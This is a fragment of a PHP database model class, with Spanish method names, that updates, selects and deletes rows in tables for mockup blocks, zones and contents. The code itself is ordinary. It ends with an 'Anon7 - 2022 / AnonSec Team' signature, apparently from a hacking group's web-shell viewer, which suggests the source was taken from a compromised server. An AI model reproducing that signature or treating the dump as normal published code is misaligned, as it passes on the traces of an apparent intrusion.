	public function cambiarBloqueSeccionOrden($bloque_id,$seccion_orden)
	{
		$datos['automatico_campo'] = $seccion_orden;
		$this->db->where('id', $bloque_id);
		if($this->db->update('mockup_bloques', $datos))
			return true;
		else
			return false;
	}





	public function cambiarBloqueBackground($bloque_id,$background)
	{
		$datos['background'] = $background;
		$this->db->where('id', $bloque_id);
		if($this->db->update('mockup_bloques', $datos))
			return true;
		else
			return false;
	}





	public function cambiarBloqueFuente($bloque_id,$fuente)
	{
		$datos['fuente'] = $fuente;
		$this->db->where('id', $bloque_id);
		if($this->db->update('mockup_bloques', $datos))
			return true;
		else
			return false;
	}





	public function dameHashMismoGrupo($grupo_id)
	{
		$this->db->select("id");
		$this->db->from("mockup_hash");
		$this->db->where("grupo",$grupo_id);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
			return $res;
		else
			return false;
	}




	public function dameBloquePrincipal($id)
	{
		$this->db->select("id");
		$this->db->from("mockup_zonas");
		$this->db->where("hash_id",$id);
		$this->db->where("posicion_aux",1);
		$this->db->where("padre_id_aux >",0);
		$query = $this->db->get();
		$res = $query->result_array();
		if(count($res)>0)
			return $res[0]['id'];
		else
			return false;
	}	





	public function purgarNotasLimbo($hash_id)
	{
		$this->db->where('hash_id', $hash_id);
		$this->db->where('caja_id_aux',0);
		$this->db->delete('mockup_contenidos');
		return true;
	}
}
?>

Anon7 - 2022
AnonSec Team